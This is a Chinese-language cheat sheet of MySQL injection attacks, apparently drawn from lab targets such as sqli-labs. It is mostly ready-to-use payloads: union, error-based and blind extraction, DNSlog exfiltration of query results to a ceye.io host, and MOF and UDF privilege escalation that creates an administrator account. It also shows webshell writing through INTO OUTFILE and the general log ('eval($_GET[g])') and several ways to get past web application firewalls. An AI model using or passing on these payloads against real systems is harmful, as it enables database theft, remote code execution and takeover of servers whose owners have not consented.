1
0X00
简介
本文是关于Mysql注入相关知识的总结,Mysql利用方式较为灵活,这里总结了一些常用的姿势。
1
0x01
union select注入
http://127.0.0.1/?id=1' order by 5 --+
http://127.0.0.1/?id=-1' union select 1,2,3,4,5 --+
http://127.0.0.1/?id=-1' union select 1,database(),3,4,5 --+
注:union select 前面的语句出错,他才会执行。
1
0X02
报错注入
报错函数
1.floor()
#floor()报错原理,count和group by 遇到rand会产生重复值 这三个函数在一起组合就会出错,和位置没有关系
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue()
#EXTRACTVALUE (XML_document, XPath_string);
#XML_document是String格式,为XML文档对象的名称
#XPath_string (Xpath格式的字符串),不是该格式就会报错,利用concat拼接特殊符号来实现报错
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
#UPDATEXML (XML_document, XPath_string, new_value);
#XML_document是String格式,为XML文档对象的名称,
#XPath_string (Xpath格式的字符串),不是该格式就会报错,利用concat拼接特殊符号来实现报错
#new_value,String格式,替换查找到的符合条件的数据
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
注:extractvalue()函数,updatexml()函数能查询字符串的最大长度是32,如果超过则也需要使用substring()函数截取,一次查看32位
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
#exp() 报错的原理 ,手册说到exp是一个数学函数 取e的x次方,当我们输入的值大于709就会报错 然后~取反它的值总会大于709所以报错。
select * from test where id=1 and exp(~(select * from(select user())a));
注意:当mysql版本>5.5.53时,无法利用exp()函数
1
0X03
盲注
布尔盲注
通过字符串截取对比
http://127.0.0.1/sqli/Less-1/?id=1' and ascii(substr((select user()),1,1))=100 -- +
substring(),min()同substr()
ord()函数同ascii(),将字符转为ascii值
select user() regexp '^ro' 判断user()前两位是否为ro,正确返回1,错误返回0
时间盲注
时间盲注也叫延时注入 一般用到函数 sleep()
BENCHMARK()
还可以使用笛卡尔积(尽量不要使用,内容太多会很慢很慢)。一般时间盲注我们还需要使用条件判断函数if()
if(expre1,expre2,expre3)
当expre1为true时,返回expre2,false时,返回expre3。
延迟函数:
sleep(5)
http://127.0.0.1/sqli/Less-1/?id=1' and if((select ord(substring(database(),1,1))) = 97,sleep(5),1) and '1'='1
benchmark(count,expr),是重复执行count次expr表达式,使得处理时间很长,来产生延迟。
笛卡尔积(因为连接表是一个很耗时的操作):
AxB=A和B中每个元素的组合所组成的集合,就是连接表
SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
RLIKE REGEXP正则匹配:
通过rpad或repeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短
select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
RPAD(str,len,padstr)
用字符串 padstr对 str进行右边填补直至它的长度达到 len个字符长度,然后返回 str。如果 str的长度长于 len',那么它将被截除到 len个字符。
mysql> SELECT RPAD('hi',5,'?'); -> 'hi???'
repeat(str,times) 复制字符串times次
同等于sleep(5)
concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,
dnslog盲注
通过DNSlog盲注需要用到load_file()函数。show variables like '%secure%' 查看load_file()可以读取的磁盘。
当secure_file_priv为空,就可以读取磁盘的目录,当secure_file_priv为null,load_file就不能加载文件
在5.7.6之后默认为null,经测试phpstudy (5.5.53)和 mamp(5.6.35)默认值都是为null,可能是现在集成环境也意识到这些安全问题,做出了更改
SELECT * FROM users WHERE id='1' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\abc'))),1,0)
1
0X04
宽字节注入
宽字节注入是因为数据库使用了GBK编码,不过现在大都使用unicode国际编码,大多数网站都使用了utf-8的编码。在我们输入单引号时 addslashes() 或者get_magic_quotes_gpc 给我们的单引号加入了转义字符\
就变成了\'
我们输入经过转换后由于编码的不同把%df%5c 转换为了一个汉字
1.没使用宽字节
%27 -> %5C%27
2. 使用宽字节
%df%27 -> %df%5c%27 -> 運'
1
0X05
二次注入
二次注入的原理是sql语句没有被转义直接存入数据库,然后在被读取查询而导致的。
二次注入在php种通常见于,插入时被addslashes()
get_magic_quotes_gpc
等等转义,但是写入数据库时还是使用原来的数据,二次注入造成原因时多种多样的
1
0X06
limit,order by,from后的注入
order by
这是一种特殊的注入 sql语句为 select * from admin order by $id
我们一般用order by 来判断他的列数,其实他就是一个依照第几个列来排序的过程
order by注入是不能 直接使用and 1=1
来判断的,他需要用到条件语句。
mysql> select * from users order by id;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.00 sec)
判断注入点:
mysql> select * from users order by if(1=1,username,password);
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 14 | admin4 | admin4 |
| 2 | Angelina | I-kill-you |
| 7 | batman | mob!le |
| 12 | dhakkan | dumbo |
| 1 | Dumb | Dumb |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
+----+----------+------------+
13 rows in set (0.00 sec)
mysql> select * from users order by if(1=2,username,password);
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 14 | admin4 | admin4 |
| 4 | secure | crappy |
| 1 | Dumb | Dumb |
| 12 | dhakkan | dumbo |
| 6 | superman | genious |
| 2 | Angelina | I-kill-you |
| 7 | batman | mob!le |
| 3 | Dummy | p@ssword |
| 5 | stupid | stupidity |
+----+----------+------------+
13 rows in set (0.00 sec)
注:顺序发生了变化
布尔盲注:
mysql> select * from users order by if((substr((select user()),1,1)='r'),username,password);
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 14 | admin4 | admin4 |
| 2 | Angelina | I-kill-you |
| 7 | batman | mob!le |
| 12 | dhakkan | dumbo |
| 1 | Dumb | Dumb |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
+----+----------+------------+
13 rows in set (0.00 sec)
mysql> select * from users order by if((substr((select user()),1,1)='a'),username,password);
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 14 | admin4 | admin4 |
| 4 | secure | crappy |
| 1 | Dumb | Dumb |
| 12 | dhakkan | dumbo |
| 6 | superman | genious |
| 2 | Angelina | I-kill-you |
| 7 | batman | mob!le |
| 3 | Dummy | p@ssword |
| 5 | stupid | stupidity |
+----+----------+------------+
13 rows in set (0.00 sec)
时间盲注:
时间盲注不能直接简单的sleep()
因为他会对每条内容来执行你的语句,所以会造成dos测试获取速度慢等问题,这时候我们需要用到子查询
mysql> select * from users order by if((substr((select user()),1,1)='r'),sleep(1),password);
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 6 | superman | genious |
| 8 | admin | admin |
| 10 | admin2 | admin2 |
| 12 | dhakkan | dumbo |
| 1 | Dumb | Dumb |
| 3 | Dummy | p@ssword |
| 5 | stupid | stupidity |
| 7 | batman | mob!le |
| 9 | admin1 | admin1 |
| 11 | admin3 | admin3 |
| 14 | admin4 | admin4 |
| 2 | Angelina | I-kill-you |
| 4 | secure | crappy |
+----+----------+------------+
13 rows in set (13.12 sec)
注:一共13条数据,每一条都会sleep(1)
使用子查询:
mysql> select * from users order by if((substr((select user()),1,1)='r'),(select 1 from (select sleep(2)) as b),password);
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (2.01 sec)
报错注入:
mysql> select * from users order by (extractvalue(1,concat(0x3a,user())),1);
ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'
from
from 后面的注入比较少
select * from $id;
可以结合 order by 来注入
可以使用联合注入来注入
mysql> select * from users union select 1,user(),3;
+----+----------------+------------+
| id | username | password |
+----+----------------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 1 | root@localhost | 3 |
+----+----------------+------------+
14 rows in set (0.00 sec)
limit
select * from admin where id >0 limit 0,1 $id
用 PROCEDURE ANALYSE
配合报错注入
mysql> select * from users where id >0 order by id limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'
ERROR:
No query specified
这里延时只能使用BENCHMARK()
select * from users where id >0 order by id limit 0,1 PROCEDURE analyse(extractvalue(rand(),concat(0x3a,(if(1=1,benchmark(2000000,md5(404)),1)))),1);
1
0X07
无列名注入
当MySQL数据库版本大于5时,存在information_schema库,记录着MySQL中所有表的结构,SQL注入中,我们会通过information_schema库去获取表名,列明等。但是这个库经常被WAF过滤、或者OR被WAF过滤。**
在MySQL5.7及以上版本数据库中,利用以下库也可以获取表名
sys.schema_auto_increment_columns
sys.schema_table_statistics_with_buffer
sys.x$schema_table_statistics_with_buffer
获取第一个列名
获取第二个表名
依此类推利用此方法可以获取所有列名获取全部数据 获取第三列数据 当
`
被过滤,获取第三列数据
获取一条数据
1
0X08
堆叠注入
堆叠注入与受限于select语句的联合查询法相反,堆叠注入可用于执行任意SQL语句。简单地说就是MYSQL的多语句查询
select * from users where id=1;select database();
1
0X09
mysql注入提权
1.原理
在windows平台下,c:/windows/system32/wbem/mof/nullevt.mof这个文件会每间隔一段时间(很短暂)就会以system权限执行一次,所以,只要我们将我们先要做的事通过代码存储到这个mof文件中,就可以实现权限提升。
2.利用条件
(1)mysql用户具有root权限(对上面那个目录可写)
(2)关闭了secure-file-priv
3.利用方式
下面是一段写好了的mof利用代码
#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter{ EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select \ From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")"; }; instance of __FilterToConsumerBinding{ Consumer = $Consumer; Filter = $EventFilter; };
这段代码只是在目标系统上添加了一个admin用户,并没有添加到管理员组(如果需要自行查找,网上很多),将这个文件存储为nullevt.mof上传到任意一个你在目标机上可写的路径(当然,如果你直接可以写到c:/windows/system32/wbem/mof/就更好了),接下来我们就可以直接执行sql语句把该文件写入到目标路径:
select load_file('你上传的路径/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
udpt提权
UDF提权是利用MYSQL的自定义函数功能,将MYSQL账号转化为系统system权限
利用条件:
1.Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
2.Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。
3.掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备`root账号所具备的权限的其它账号也可以。
4.可以将udf.dll写入到相应目录的权限。
利用方式:1.udf.dll在sqlmap里可以找到,sqlmap/udf/mysql/windows
下边有32和64两种,这里的位数是mysql的位数,并不是对方系统的位数
2.sqlmap里的udf.dll是经过编码的,需要先解码,解码的工具就在
sqlmap/extra/cloak/cloak.py
3.解码完了,在sqlmap\udf\mysql\windows,32和64文件夹下会生成dll文件,将dll文件复制到mysql的/lib/plugin目录下,执行sql语句
create function sys_exec returns string soname "lib_mysqludf_sys.dll";
select sys_exec('net user aaa 123 /add');
select sys_exec('net localgroup administrators aaa /add');
#到此就完成了,下边删除使用的函数
drop function sys_exec;
delete from mysql.func where name='sys_exec'
1
0X10
mysql注入写webshell
基于联合查询
利用条件:
1.对web目录有写权限。
2.知道网站的绝对路径。
http://127.0.0.1/sqli/Less-38/?id=1' union select 1,"<?php phpinfo();?>",3 into outfile 'D:/Wamp/www/sqli/test.php' --
利用分隔符写入**
当Mysql注入点为盲注或报错,Union select写入的方式显然是利用不了的,那么可以通过分隔符写入,SQLMAP的 --os-shell命令,所采用的就是一下这种方式。
利用条件:
1.对web目录有写权限。
2.知道网站的绝对路径。
http://127.0.0.1/sqli/Less-38/?id=1' INTO OUTFILE 'D:/Wamp/www/sqli/test.php' lines terminated by '<?php phpinfo();?>' --
同样的技巧,一共有四种形式:
INTO OUTFILE '物理路径' lines terminated by '<?php phpinfo();?>' --+ (或一句话hex编码)#
INTO OUTFILE '物理路径' fields terminated by '<?php phpinfo();?>' --+ (或一句话hex编码)#
INTO OUTFILE '物理路径' columns terminated by '<?php phpinfo();?>' --+ (或一句话hex编码)#
INTO OUTFILE '物理路径' lines starting by '<?php phpinfo();?>' --+ (或一句话hex编码)#
基于log日志写shell法**
新版本的MySQL
设置了secure_file_priv
的路径,无法通过使用select into outfile
来写入一句话,这时,我们可以通过修改MySQL
的log
文件来获取Webshell
利用条件:
1.数据库当前用户为root权限
2.知道网站绝对路径
3.存在堆叠注入(或mysql consloe)
http://127.0.0.1/sqli/Less-38/?id=1';set global general_log = on; --
http://127.0.0.1/sqli/Less-38/?id=1';set global general_log_file = 'D:/Wamp/www/sqli/2.php'; --
http://127.0.0.1/sqli/Less-38/?id=1';select '<?php eval($_GET[g]);?>'; --
http://127.0.0.1/sqli/Less-38/?id=1';set global general_log=off; --
show variables like '%general%';
1
0X11
mysql注入过waf
内联注释绕过
http://127.0.0.1/Less-1/?id=-1' union/*!11440select*/ 1,2,3--+ 不拦截
http://127.0.0.1/Less-1/?id=1' order/*!51000a*/by 3--+ 不拦截
为什么不拦截 ,因为50000是他的版本号,在注释中加入!
,加上版本号
后只有当前mysql版本大于标注的版本号注释内的sql才会执行,那么我们可以用burp来遍历这个值呢,而这里为什么是11440
其他的为什么不行,那就是规则库的问题了.
注释绕过
绕过unino select:
union all%23%0a select
union %23%0aall select
union -- hex()%0a select
编码绕过
URL编码
十六进制编码
unicode编码:
单引号: %u0027
空格:%u0020
左括号:%u0028
右括号:%u0029
参数污染
/**/
里面的内容waf基本不管,那么我们用hpp 参数污染来绕过就很简单了
照成这个手法的原因是 web server 对参数的解析问题 在php/apache 中 它总解析最后一个id
http://127.0.0.1/Less-1/?id=-1' /*&id='union select 1,2,3 -- +*/
等价替换
使用from. 绕过from
绕过 information_schema.schemata:
`information_schema`.schemata
`information_schema`.`schemata`
information_schema.`schemata`
(information_schema.schemata)
information_schema/**/.schemata
%26%26绕过and
and!!!绕过and
sel<>ect 绕过select
分块传输
进行分块传输的时候,请求头要加上Transfer-Encoding: Chunked
,然后POST的数据规则如下
2
id
2
=3
0
2 #这个2表示下面数据的个数 可以在这个后面加入分号添加注释 比如 2;hello world 可以利用这个特性添加随机字符来干扰waf
id #参数 接收参数就是id一共就两个字母 所以上面的个数是2
2 #同理 表示下面的数据的个数
=1 #这个也是同理 和前面的id连起来 post的数据就是 id=1
0 #分块传输表示结束的方式 一个0和两个换号
#换行
#换行
缓冲区溢出
有不少WAF是C语言写的,而C语言自身没有缓冲区保护机制,因此如果WAF在处理测试向量时超出了其缓冲区长度,就会引发bug从而实现绕过
?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database()
示例0xA*1000
指0xA后面"A"重复1000次,一般来说对应用软件构成缓冲区溢出都需
要较大的测试长度,这里1000只做参考,在某些情况下可能不需要这么长也能溢出。
1
0X12
参考链接
https://blog.csdn.net/weixin_39190897/article/details/103583673
https://mp.weixin.qq.com/s/0DFHERyevMz_giZHi0agiQ
https://github.com/aleenzz/MYSQL_SQL_BYPASS_WIKI